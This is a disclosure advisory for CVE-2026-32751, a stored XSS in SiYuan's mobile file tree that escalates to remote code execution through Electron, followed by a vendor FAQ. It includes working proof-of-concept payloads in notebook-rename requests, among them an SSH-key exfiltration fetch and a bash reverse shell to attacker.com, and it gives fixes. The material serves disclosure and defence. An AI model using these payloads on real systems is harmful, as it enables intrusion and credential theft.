CVE-2026-32751

Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

• Vulnerable file: app/src/mobile/dock/MobileFiles.ts:77
• Safe counterpart: app/src/layout/dock/Files.ts:104 (uses escapeHtml)
• Backend (no escaping): kernel/api/notebook.go:104-116 (renameNotebook)
• Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)
• Endpoint: POST /api/notebook/renameNotebook (authenticated)
• Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile, no escaping (MobileFiles.ts:77)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
    break;

Desktop, properly escaped (Files.ts:104)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
    break;

Backend, sends unescaped name (notebook.go:104-116)

func renameNotebook(c *gin.Context) {
    // ...
    name := arg["name"].(string)
    err := model.RenameBox(notebook, name)
    // ...
    evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
    evt.Data = map[string]interface{}{
        "box":  notebook,
        "name": name,  // Unescaped, sent directly to all clients
    }
    util.PushEvent(evt)
}

model.RenameBox() only validates length (512 chars max) and emptiness, no HTML sanitization.

Electron, Node.js in renderer (main.js:422-426)

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)

POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}

On Linux/macOS:

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}

Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec(), arbitrary OS command execution.

3. Verified event content

# Unauthenticated WebSocket listener receives:
{
    "cmd": "renamenotebook",
    "data": {
        "box": "20260309161535-do8qg95",
        "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    }
}

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}

5. Reverse shell variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}

Attack Scenario

1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
2. The renamenotebook event broadcasts the payload to ALL connected clients
3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
4. nodeIntegration: true gives the injected JavaScript full OS access
5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile, it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

1. Apply the same escaping used in the desktop version

// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;

// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);

2. Sanitize notebook names on the backend

func RenameBox(boxID, name string) (err error) {
    name = util.EscapeHTML(name)  // Sanitize at the source
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

• Severity: CRITICAL (CVSS ~9.0)
• Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
• Full remote code execution on Electron desktop via nodeIntegration: true
• Stored XSS, notebook names persist across sessions and survive restarts
• Propagates via cloud sync to all synced devices
• Affects all mobile interface users and desktop users in mobile/narrow layout
• Inconsistent escaping, desktop is safe, mobile is not (indicates oversight)
• Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Kodem intelligence

1. What is CVE-2026-32751? CVE-2026-32751 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-32751? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
3. Is there a fix for CVE-2026-32751? No fixed version is listed for CVE-2026-32751 yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is CVE-2026-32751 exploitable, and should I be worried? Whether CVE-2026-32751 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-32751 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-32751? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.